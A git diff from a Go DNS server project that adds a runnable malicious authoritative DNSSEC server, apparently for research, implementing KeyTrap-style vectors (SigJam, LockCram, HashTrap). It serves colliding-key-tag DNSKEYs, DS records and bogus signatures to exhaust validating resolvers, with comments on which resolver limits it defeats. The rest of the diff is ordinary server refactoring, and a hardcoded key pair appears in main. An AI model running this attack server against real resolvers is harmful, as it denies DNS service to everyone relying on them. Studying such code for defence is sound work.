dMat.PrivateZSK, - ) - dsset = append(dsset, sig) - - resp.Answer = append(resp.Answer, dsset...) - resp.Header.RCode = dns.DNSResponseCodeNoErr - } - godns.FixCount(resp) - return nil -} -func (r *KeyTrapResponser) Response(connInfo godns.ConnectionInfo) (dns.DNSMessage, error) { - // 解析查询信息 - qry, err := godns.ParseQuery(connInfo) - if err != nil { - return dns.DNSMessage{}, err - } - - // 初始化 NXDOMAIN 回复信息 - resp := godns.InitNXDOMAIN(qry) - - qType := qry.Question[0].Type - // 将可能启用0x20混淆的查询名称转换为小写 - qName := strings.ToLower(qry.Question[0].Name) - - switch qType { - case dns.DNSRRTypeA: - // 生成 A 记录 - rr := dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeA, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATAA{Address: r.ServerConf.IP}, - } - resp.Answer = append(resp.Answer, rr) - case dns.DNSRRTypeNS: - // 生成 NS 记录 - rr := dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeNS, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATANS{NSDNAME: qName}, - } - resp.Answer = append(resp.Answer, rr) - } - - // 为回复信息添加 DNSSEC 记录 - r.DNSSECManager.EnableDNSSEC(qry, &resp) - - // 设置RCODE,修正计数字段,返回回复信息 - resp.Header.RCode = dns.DNSResponseCodeNoErr - godns.FixCount(&resp) - return resp, nil -} - -func main() { - sConf := godns.DNSServerConfig{ - IP: net.IPv4(10, 10, 0, 3), - Port: 53, - MTU: 1500, - } - - // 设置DNSSEC配置 - var dConf = godns.DNSSECConfig{ - DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, - DType: dns.DNSSECDigestTypeSHA384, - } - - // 生成 KSK 和 ZSK - // 使用ParseKeyBase64解析预先生成的公钥, - // 该公钥应确保能够被解析器通过 信任锚(Trust Anchor)建立的 信任链(Chain of Trust) 所验证。 - kBytes := xperi.ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") - pkBytes := xperi.ParseKeyBase64("ppaXHmb7u1jOxEzrLzuGKzbjmSLIK4gEhQOvws+cpBQyJbCwIM1Nrk4j5k94CP9e") - - tAnchor := godns.InitTrustAnchor("test", dConf, kBytes, pkBytes) - - server := godns.GoDNSServer{ - ServerConfig: sConf, - Netter: godns.Netter{ - Config: godns.NetterConfig{ - Port: sConf.Port, - MTU: sConf.MTU, - }, - }, - Responer: &KeyTrapResponser{ - ServerConf: sConf, - DNSSECManager: KeyTrapManager{ - DNSSECConf: dConf, - DNSSECMap: tAnchor, - AttackVec: ExperiVec, - KSKTagMap: make(map[int]dns.DNSRDATADNSKEY), - }, - }, - } - server.Start() -} diff --git a/example/malfare/main.go b/example/malfare/main.go new file mode 100644 index 0000000..242a6f2 --- /dev/null +++ b/example/malfare/main.go @@ -0,0 +1,519 @@ +package main + +import ( + "log" + "net" + "os" + "sort" + "strings" + "sync" + "time" + + "github.com/tochusc/godns" + "github.com/tochusc/godns/dns" + "github.com/tochusc/godns/dns/xperi" +) + +// HashTrap v2攻击向量 +// ✔️Unbound MAX_DS_MATCH_FAILURE(5) +// ❌BIND #DS<100 and #DNSKEY<100 +// ✔️Knot Resolver Expensive Crypto Limited +// ❌PDNS Recursor #DS<=9 and #DNSKEY<=2 +var ExperiVec = KeyTrapVector{ + CollidedSigNum: 1, + CollidedZSKNum: 1, + + CollidedKSKNum: 4, + CollidedDSNum: 10, + + // www.atk.test + // atk.test -> test + // atk.test 80 DS_KSK, + // DS 16 KegTag== DS + // KSK 4 KeyTag== KSK + // 80 * 17 = 1280 #DS + // 5 * 80 = 400 #KSK + + ANYRRSetNum: 1, + DS_KSK_PairNum: 80, +} + +// +// 32req/s 32dif Malfare Auth. 32 * 400 KSK(Random), 32*1280 DS(Random) +// Pre-Generate: +// DS --> KSK +// RRSIG --> RDATA +// +// Goroutine +// +// Graph --> Load, Loss(Benign request script: 10 req/s got answer?) +// +// No DNSSEC --> +// DNSSEC --> +// +// Local ? Remote +// +// Virtual + +// var ExperiVec = KeyTrapVector{ +// // KeySigTrap:(SigJam, LockCram) +// CollidedSigNum: 1, // SigJam +// CollidedZSKNum: 1, // LockCram + +// // HashTrap +// CollidedKSKNum: 1, +// CollidedDSNum: 1, + +// // HashTrap v2 +// DS_KSK_PairNum: 1, + +// // ANY +// ANYRRSetNum: 1, +// } + +type KeyTrapResponser struct { + ResponserLogger *log.Logger + DNSSECManager godns.DNSSECManager +} + +// KeyTrap攻击向量 +type KeyTrapVector struct { + // SigJam + CollidedSigNum int + // LockCram + CollidedZSKNum int + // HashTrap + CollidedKSKNum int + CollidedDSNum int + // ANY + ANYRRSetNum int + + // HashTrap v2 + DS_KSK_PairNum int +} + +type KeyTrapManager struct { + // DNSSEC 配置 + DNSSECConf godns.DNSSECConfig + + // 区域名与其相应 DNSSEC 材料的映射 + // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 + DNSSECMap sync.Map + + // KeyTrap攻击向量 + AttackVec KeyTrapVector +} + +type DNSSECMaterial struct { + // Key Tag + ZSKTag int + KSKTag int + + // 公钥RDATA + ZSKRecord dns.DNSResourceRecord + KSKRecord dns.DNSResourceRecord + + // 私钥字节 + ZSKPriv []byte + KSKPriv []byte +} + +func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { + rMap := make(map[string][]dns.DNSResourceRecord) + for _, rr := range section { + if rr.Type == dns.DNSRRTypeRRSIG { + continue + } + rid := rr.Name + rr.Type.String() + rr.Class.String() + rMap[rid] = append(rMap[rid], rr) + } + for _, rrset := range rMap { + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + uName := dns.GetUpperDomainName(&rrset[0].Name) + dMat := m.GetDNSSECMaterial(uName) + + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.ZSKTag), + uName, + ) + section = append(section, wRRSIG) + } + + sig := m.SignRRSet(rrset) + section = append(section, sig) + } + return section +} + +func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { + uName := dns.GetUpperDomainName(&rrset[0].Name) + dMat := m.GetDNSSECMaterial(uName) + + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sig := xperi.GenerateRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.ZSKTag), + uName, + dMat.ZSKPriv, + ) + return sig +} + +func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { + qType := qry.Question[0].Type + + // ANY攻击向量 + if qType == dns.DNSQTypeANY { + // 生成任意类型的 RR 集合 + anyset := []dns.DNSResourceRecord{} + var sType = 4096 + for i := 0; i < m.AttackVec.ANYRRSetNum; i++ { + rr := dns.DNSResourceRecord{ + Name: qry.Question[0].Name, + Type: dns.DNSType(sType + i), + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 10, 10)}, + } + anyset = append(anyset, rr) + } + resp.Answer = append(resp.Answer, anyset...) + } + + // 签名回答部分 + resp.Answer = m.SignSection(resp.Answer) + // 签名权威部分 + resp.Authority = m.SignSection(resp.Authority) + // 签名附加部分 + resp.Additional = m.SignSection(resp.Additional) + m.EstablishToC(qry, resp) +} + +func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { + zskRecord, zskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag := xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + for zskTag < uint16(m.AttackVec.CollidedZSKNum) { + zskRecord, zskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag = xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + kskRecord, kskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag := xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + for kskTag < uint16(m.AttackVec.DS_KSK_PairNum) { + kskRecord, kskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag = xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRecord, + KSKRecord: kskRecord, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} + +// GetDNSSECMaterial 获取指定区域的 DNSSEC 材料 +// 如果该区域的 DNSSEC 材料不存在,则会根据 DNSSEC 配置生成一个 +func (m *KeyTrapManager) GetDNSSECMaterial(zName string) DNSSECMaterial { + dMat, ok := m.DNSSECMap.Load(zName) + if !ok { + dMat = m.CreateDNSSECMaterial(zName) + m.DNSSECMap.Store(zName, dMat) + } + return dMat.(DNSSECMaterial) +} + +// EstablishToC 根据查询自动添加 DNSKEY,DS,RRSIG 记录 +// 自动完成信任链(Trust of Chain)的建立。 +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - m.DNSSECConf DNSSECConfig,DNSSEC 配置 +// - dMap map[string]DNSSECMaterial,区域名与其相应 DNSSEC 材料的映射 +// - resp *dns.DNSMessage,回复信息 +func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error { + // 提取查询类型和查询名称 + qType := qry.Question[0].Type + qName := strings.ToLower(qry.Question[0].Name) + dMat := m.GetDNSSECMaterial(qName) + + if qType == dns.DNSRRTypeDNSKEY { + // 如果查询类型为 DNSKEY, + + // LockCram攻击向量:CollidedKeyNum + // 生成 错误ZSK DNSKEY 记录 + rrset := []dns.DNSResourceRecord{dMat.ZSKRecord, dMat.KSKRecord} + for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { + wZSK := xperi.GenerateRandomDNSKEYWithTag( + m.DNSSECConf.DAlgo, + dns.DNSKEYFlagZoneKey, + dMat.ZSKTag, + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wZSK.Size()), + RData: &wZSK, + }) + } + // HashTrap v2 攻击向量: DS_KSK_PairNum + for i := 1; i <= m.AttackVec.DS_KSK_PairNum; i++ { + kskTag := dMat.KSKTag - i + kskRR := xperi.GenerateRandomDNSKEYWithTag( + m.DNSSECConf.DAlgo, + dns.DNSKEYFlagSecureEntryPoint, + kskTag, + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(kskRR.Size()), + RData: &kskRR, + }) + + // HashTrap攻击向量: CollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { + wKSK := xperi.GenerateRandomDNSKEYWithTag( + m.DNSSECConf.DAlgo, + dns.DNSKEYFlagSecureEntryPoint, + int(kskTag), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + }) + } + } + sort.Sort(dns.ByCanonicalOrder(rrset)) + // 生成密钥集签名 + sig := xperi.GenerateRRRRSIG( + rrset, + dns.DNSSECAlgorithmECDSAP384SHA384, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.KSKTag), + qName, + dMat.KSKPriv, + ) + rrset = append(rrset, sig) + + resp.Answer = append(resp.Answer, rrset...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } else if qType == dns.DNSRRTypeDS { + // 如果查询类型为 DS,则生成 DS 记录 + dMat := m.GetDNSSECMaterial(qName) + + rrset := []dns.DNSResourceRecord{} + + // HashTrap v2 攻击 + for i := 0; i < m.AttackVec.DS_KSK_PairNum; i++ { + kskTag := dMat.KSKTag - i + // HashTrap 攻击向量:CollidedDSNum + // 生成 错误DS 记录 + for i := 0; i < m.AttackVec.CollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, kskTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + } + } + + // 生成正确DS记录 + kskRData, _ := dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY) + ds := xperi.GenerateRRDS(qName, *kskRData, m.DNSSECConf.DType) + rrset = append(rrset, ds) + + upName := dns.GetUpperDomainName(&qName) + dMat = m.GetDNSSECMaterial(upName) + + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sig := xperi.GenerateRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.ZSKTag), + upName, + dMat.ZSKPriv, + ) + + rrset = append(rrset, sig) + + resp.Answer = append(resp.Answer, rrset...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + godns.FixCount(resp) + return nil +} +func (r *KeyTrapResponser) Response(connInfo godns.ConnectionInfo) ([]byte, error) { + // 解析查询信息 + qry, err := godns.ParseQuery(connInfo) + if err != nil { + r.ResponserLogger.Printf("Error parsing query: %v", err) + return []byte{}, err + } + + // 将可能启用0x20混淆的查询名称转换为小写 + qName := strings.ToLower(qry.Question[0].Name) + qType := qry.Question[0].Type + qClass := qry.Question[0].Class + + r.ResponserLogger.Printf("Recive DNS Query from %s,Protocol: %s, Name: %s, Type: %s, Class: %s\n", + connInfo.Address.String(), connInfo.Protocol, qName, qType, qClass) + + // 初始化 NXDOMAIN 回复信息 + resp := godns.InitNXDOMAIN(qry) + + switch qType { + case dns.DNSRRTypeA: + // 生成 A 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 1, 3)}, + } + resp.Answer = append(resp.Answer, rr) + case dns.DNSRRTypeNS: + // 生成 NS 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + } + + // 为回复信息添加 DNSSEC 记录 + r.DNSSECManager.EnableDNSSEC(qry, &resp) + + // 设置RCODE,修正计数字段,返回回复信息 + resp.Header.RCode = dns.DNSResponseCodeNoErr + godns.FixCount(&resp) + + data := resp.Encode() + + // crsp, err := dns.CompressDNSMessage(data) + // if err != nil { + // r.ResponserLogger.Printf("Error compressing response: %v", err) + // return data, nil + // } else { + // return crsp, nil + // } + + return data, nil +} + +func main() { + conf := godns.DNSServerConfig{ + IP: net.IPv4(10, 10, 1, 3), + Port: 53, + + // stdout + LogWriter: os.Stdout, + + EnebleCache: true, + CacheLocation: "./cache", + + PoolCapcity: -1, + } + + // 生成 KSK 和 ZSK + // 使用ParseKeyBase64解析预先生成的公钥, + // 该公钥应确保能够被解析器通过 信任锚(Trust Anchor)建立的 信任链(Chain of Trust) 所验证。 + kskPublic := xperi.ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") + kskPriv := xperi.ParseKeyBase64("ppaXHmb7u1jOxEzrLzuGKzbjmSLIK4gEhQOvws+cpBQyJbCwIM1Nrk4j5k94CP9e") + + material := InitMaterial("test", dns.DNSSECAlgorithmECDSAP384SHA384, kskPublic, kskPriv) + + dMap := sync.Map{} + dMap.Store("test", material) + + server := godns.NewGoDNSServer(conf, + &KeyTrapResponser{ + ResponserLogger: log.New(conf.LogWriter, "KeyTrapResponser: ", log.LstdFlags), + DNSSECManager: &KeyTrapManager{ + DNSSECConf: godns.DNSSECConfig{ + DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, + DType: dns.DNSSECDigestTypeSHA384, + }, + DNSSECMap: dMap, + AttackVec: ExperiVec, + }, + }, + ) + + server.Start() +} + +// InitTrustAnchor 根据 DNSSEC 配置生成指定区域的信任锚点 +// 其接受参数为: +// - zName string,区域名 +// - dConf DNSSECConfig,DNSSEC 配置 +// - kBytes []byte,KSK 公钥 +// - pkBytes []byte,KSK 私钥 +// +// 返回值为: +// - map[string]DNSSECMaterial,生成的信任锚点 +func InitMaterial(name string, algo dns.DNSSECAlgorithm, kskPublic, kskPriv []byte) DNSSECMaterial { + + zskRR, zskPriv := xperi.GenerateRRDNSKEY(name, algo, dns.DNSKEYFlagZoneKey) + zskRDATA := zskRR.RData.(*dns.DNSRDATADNSKEY) + + kskRDATA := dns.DNSRDATADNSKEY{ + Flags: dns.DNSKEYFlagSecureEntryPoint, + Protocol: dns.DNSKEYProtocolValue, + Algorithm: algo, + PublicKey: kskPublic, + } + + kskRR := dns.DNSResourceRecord{ + Name: name, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(kskRDATA.Size()), + RData: &kskRDATA, + } + + zskTag := xperi.CalculateKeyTag(*zskRDATA) + kskTag := xperi.CalculateKeyTag(kskRDATA) + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRR, + KSKRecord: kskRR, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} diff --git a/go.mod b/go.mod index 46242b1..5180b64 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,7 @@ module github.com/tochusc/godns go 1.23.2 + +require github.com/panjf2000/ants/v2 v2.10.0 + +require golang.org/x/sync v0.3.0 // indirect diff --git a/go.sum b/go.sum index e69de29..f1e8331 100644 --- a/go.sum +++ b/go.sum @@ -0,0 +1,20 @@ +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/panjf2000/ants/v2 v2.10.0 h1:zhRg1pQUtkyRiOFo2Sbqwjp0GfBNo9cUY2/Grpx1p+8= +github.com/panjf2000/ants/v2 v2.10.0/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/netter.go b/netter.go index 589c65e..1966765 100644 --- a/netter.go +++ b/netter.go @@ -3,18 +3,33 @@ package godns import ( "encoding/binary" "fmt" + "io" + "log" "net" + + "github.com/panjf2000/ants/v2" ) // NetterConfig 结构体用于记录网络监听器的配置 type NetterConfig struct { - Port int - MTU int + Port int + LogWriter io.Writer } // Netter 数据包监听器:接收、解析、发送数据包,并维护连接状态。 type Netter struct { - Config NetterConfig + NetterPort int + NetterPool *ants.Pool + NetterLogger *log.Logger +} + +func NewNetter(nConf NetterConfig, pool *ants.Pool) *Netter { + netterLogger := log.New(nConf.LogWriter, "Netter: ", log.LstdFlags) + + return &Netter{ + NetterPort: nConf.Port, + NetterLogger: netterLogger, + } } // Sniff 函数用于监听指定端口,并返回链接信息通道 @@ -23,18 +38,18 @@ func (n *Netter) Sniff() chan ConnectionInfo { connChan := make(chan ConnectionInfo) // udp - pktConn, err := net.ListenPacket("udp", fmt.Sprintf(":%d", n.Config.Port)) + pktConn, err := net.ListenPacket("udp", fmt.Sprintf(":%d", n.NetterPort)) if err != nil { - panic(fmt.Sprintln("Netter: Error listening on udp port: ", err)) + n.NetterLogger.Panicf("Error listening on udp port: %v", err) } - go n.handlePktConn(pktConn, connChan) + ants.Submit(func() { n.handlePktConn(pktConn, connChan) }) // tcp - lstr, err := net.Listen("tcp", fmt.Sprintf(":%d", n.Config.Port)) + lstr, err := net.Listen("tcp", fmt.Sprintf(":%d", n.NetterPort)) if err != nil { - panic(fmt.Sprintln("Netter: Error listening on tcp port: ", err)) + n.NetterLogger.Panicf("Error listening on tcp port: %v", err) } - go n.handleListener(lstr, connChan) + ants.Submit(func() { n.handleListener(lstr, connChan) }) return connChan } @@ -49,10 +64,10 @@ func (n *Netter) handleListener(lstr net.Listener, connChan chan ConnectionInfo) for { conn, err := lstr.Accept() if err != nil { - fmt.Println("Netter: Error accepting tcp connection: ", err) - continue + n.NetterLogger.Printf("Error accepting tcp connection: %v", err) + } else { + ants.Submit(func() { n.handleStreamConn(conn, connChan) }) } - go n.handleStreamConn(conn, connChan) } } @@ -63,22 +78,22 @@ func (n *Netter) handleListener(lstr net.Listener, connChan chan ConnectionInfo) // // 该函数将会读取 数据包链接 中的数据,并将其发送到链接信息通道中 func (n *Netter) handlePktConn(pktConn net.PacketConn, connChan chan ConnectionInfo) { - buf := make([]byte, n.Config.MTU) - + buf := make([]byte, 65535) for { sz, addr, err := pktConn.ReadFrom(buf) if err != nil { - fmt.Println("Netter: Error reading udp packet: ", err) + n.NetterLogger.Printf("Error reading udp packet: %v", err) return - } - - pkt := make([]byte, sz) - copy(pkt, buf[:sz]) - connChan <- ConnectionInfo{ - Protocol: ProtocolUDP, - Address: addr, - PacketConn: pktConn, - Packet: pkt, + } else { + pkt := make([]byte, sz) + copy(pkt, buf[:sz]) + + connChan <- ConnectionInfo{ + Protocol: ProtocolUDP, + Address: addr, + PacketConn: pktConn, + Packet: pkt, + } } } } @@ -90,11 +105,11 @@ func (n *Netter) handlePktConn(pktConn net.PacketConn, connChan chan ConnectionI // // 该函数将会读取 流式链接 中的数据,并将其发送到链接信息通道中 func (n *Netter) handleStreamConn(conn net.Conn, connChan chan ConnectionInfo) { - buf := make([]byte, n.Config.MTU) + buf := make([]byte, 65535) sz, err := conn.Read(buf) if err != nil { - fmt.Println("Netter: Error reading tcp packet: ", err) + n.NetterLogger.Printf("Error reading tcp packet: %v", err) return } @@ -102,8 +117,8 @@ func (n *Netter) handleStreamConn(conn net.Conn, connChan chan ConnectionInfo) { for sz < msgSz { inc, err := conn.Read(buf[sz:]) if err != nil { - fmt.Println("Netter: Error reading tcp packet: ", err) - return + n.NetterLogger.Printf("Error reading tcp packet: %v", err) + break } sz += inc } @@ -161,15 +176,13 @@ func (n *Netter) Send(connInfo ConnectionInfo, data []byte) { if connInfo.Protocol == ProtocolUDP { _, err := connInfo.PacketConn.WriteTo(data, connInfo.Address) if err != nil { - fmt.Println("Netter: Error writing udp packet: ", err) + n.NetterLogger.Printf("Error writing udp packet: %v", err) } - } - - if connInfo.Protocol == ProtocolTCP { + } else if connInfo.Protocol == ProtocolTCP { pktSize := len(data) if pktSize > 0xffff { pktSize = 0xffff - fmt.Printf("Netter: Warning: packet size exceeds 0xffff, truncating to 0xffff\n") + n.NetterLogger.Printf("Warning: TCP packet size exceeds 0xffff, truncating to 0xffff") } lenByte := make([]byte, 2) @@ -178,4 +191,6 @@ func (n *Netter) Send(connInfo ConnectionInfo, data []byte) { connInfo.StreamConn.Write(append(lenByte, data...)) connInfo.StreamConn.Close() } + + n.NetterLogger.Printf("Packet sent to %s, size: %d", connInfo.Address, len(data)) } diff --git a/responser.go b/responser.go index 155cd1e..45ca3d3 100644 --- a/responser.go +++ b/responser.go @@ -23,7 +23,7 @@ type Responser interface { // 返回值为: // - ResponseInfo,DNS 回复信息 // - error,错误信息 - Response(ConnectionInfo) (dns.DNSMessage, error) + Response(ConnectionInfo) ([]byte, error) } // DullResponser 是一个"笨笨的" 回复器实现。 @@ -34,11 +34,11 @@ type DullResponser struct { // Response 根据 DNS 查询信息生成 DNS 回复信息。 // DullResponser 会回复所查询名称的 A 记录,地址指向服务器的 IP 地址。 -func (d *DullResponser) Response(connInfo ConnectionInfo) (dns.DNSMessage, error) { +func (d *DullResponser) Response(connInfo ConnectionInfo) ([]byte, error) { // 解析查询信息 qry, err := ParseQuery(connInfo) if err != nil { - return dns.DNSMessage{}, err + return []byte{}, err } // 初始化 NXDOMAIN 回复信息 @@ -65,7 +65,7 @@ func (d *DullResponser) Response(connInfo ConnectionInfo) (dns.DNSMessage, error } // 修正计数字段,返回回复信息 FixCount(&resp) - return resp, nil + return resp.Encode(), nil } // 下面是一些可能会很有用的工具函数及结构体, @@ -82,13 +82,8 @@ func ParseQuery(connInfo ConnectionInfo) (dns.DNSMessage, error) { qry := dns.DNSMessage{} _, err := qry.DecodeFromBuffer(connInfo.Packet, 0) if err != nil { - fmt.Printf("[%s]Responser: Error decoding DNS query: %s\n", time.Now().UTC().String(), err) - return dns.DNSMessage{}, err + return dns.DNSMessage{}, fmt.Errorf("Error decoding query: %v", err) } - fmt.Printf("[%s]Responser: Recive DNS Query from %s,Protocol: %s, QName: %s, QType: %s\n", - time.Now().UTC().String(), connInfo.Address.String(), connInfo.Protocol.String(), - qry.Question[0].Name, qry.Question[0].Type.String()) - return qry, nil } @@ -176,11 +171,6 @@ type DNSSECResponser struct { type DNSSECManager interface { EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) - SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord - SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord - EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error - GetDNSSECMaterial(zName string) DNSSECMaterial - CreateDNSSECMaterial(zName string) DNSSECMaterial } // Response 根据 DNS 查询信息生成 DNS 回复信息。 diff --git a/server.go b/server.go index 248ed6f..deb9b58 100644 --- a/server.go +++ b/server.go @@ -8,9 +8,11 @@ package godns import ( - "fmt" + "io" + "log" "net" - "time" + + "github.com/panjf2000/ants/v2" ) // GoDNSServer 表示 GoDNS 服务器 @@ -19,52 +21,76 @@ import ( // - Sniffer: 数据包嗅探器 // - Handler: 数据包处理器 type GoDNSServer struct { - ServerConfig DNSServerConfig - Netter Netter - Responer Responser + SeverConfig DNSServerConfig + // GoDNS 服务器的日志 + GoDNSLogger *log.Logger + + ThreadPool *ants.Pool + + Netter Netter + Cacher Cacher + Responer Responser } -// Start 启动 GoDNS 服务器 -func (s *GoDNSServer) Start() { - // GoDNS 启动! - fmt.Printf("%s : %s\n", time.Now().Format(time.ANSIC), "GoDNS Starts!") +func NewGoDNSServer(serverConf DNSServerConfig, responser Responser) *GoDNSServer { + godnsLogger := log.New(serverConf.LogWriter, "GoDNS: ", log.LstdFlags) + pool, err := ants.NewPool(serverConf.PoolCapcity) + if err != nil { + godnsLogger.Panicf("Error creating ants pool: %v", err) + } - connChan := s.Netter.Sniff() - for connInfo := range connChan { - resp, err := s.Responer.Response(connInfo) - if err != nil { - fmt.Println("GoDNS: Error generating response: ", err) - continue + netter := NewNetter(NetterConfig{ + Port: serverConf.Port, + LogWriter: serverConf.LogWriter, + }, 